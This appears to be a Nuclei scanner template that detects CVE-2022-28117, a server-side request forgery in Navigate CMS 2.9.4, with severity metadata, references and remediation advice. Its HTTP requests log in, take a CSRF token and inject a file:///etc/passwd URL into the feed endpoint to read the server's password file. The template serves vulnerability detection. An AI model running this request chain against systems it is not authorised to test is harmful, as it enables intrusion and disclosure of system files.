id: CVE-2022-28117

info:
  name: Navigate CMS 2.9.4 - Server-Side Request Forgery
  author: theabhinavgaur
  severity: medium
  description: |
    Navigate CMS 2.9.4 is susceptible to server-side request forgery via feed_parser class. This can allow a remote attacker to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter, thus enabling possible theft of sensitive information, data modification, and/or unauthorized operation execution.
  impact: |
    An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks.
  remediation: |
    Upgrade to a patched version of Navigate CMS or apply the vendor-provided patch to mitigate the SSRF vulnerability.
  reference:
    - https://packetstormsecurity.com/files/167063/Navigate-CMS-2.9.4-Server-Side-Request-Forgery.html
    - https://www.navigatecms.com/en/blog/development/navigate_cms_update_2_9_5
    - https://www.youtube.com/watch?v=4kHW95CMfD0
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28117
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 4.9
    cve-id: CVE-2022-28117
    cwe-id: CWE-918
    epss-score: 0.02612
    epss-percentile: 0.89161
    cpe: cpe:2.3:a:naviwebs:navigate_cms:2.9.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: naviwebs
    product: navigate_cms
  tags: authenticated,packetstorm,cve,cve2022,ssrf,navigate,cms,lfi,intrusive,naviwebs

http:
  - raw:
      - |
        GET /navigate/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /navigate/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------123456789012345678901234567890

        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="login-username"

        {{username}}
        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="csrf_token"

        {{csrf_token}}
        -----------------------------123456789012345678901234567890
        Content-Disposition: form-data; name="login-password"

        {{password}}
        -----------------------------123456789012345678901234567890
      - |
        POST /navigate/navigate.php?fid=dashboard&act=json&oper=feed HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        limit=5&language=en&url=file:///etc/passwd
      - |
        GET /navigate/private/1/cache/0f1726ba83325848d47e216b29d5ab99.feed HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        regex:
          - csrf_token" value="([a-f0-9]{64})
        internal: true
        part: body
# digest: 4a0a00473045022050d5e0cc478a788dd378cc05561c7616618d82d79cd7d190bc47dc4b79e5814d02210097e62a8101f3a74d893f172194144538981d3be7bd58f2d94833aeb4035a5584:922c64590222798bb761d5b6d8e72950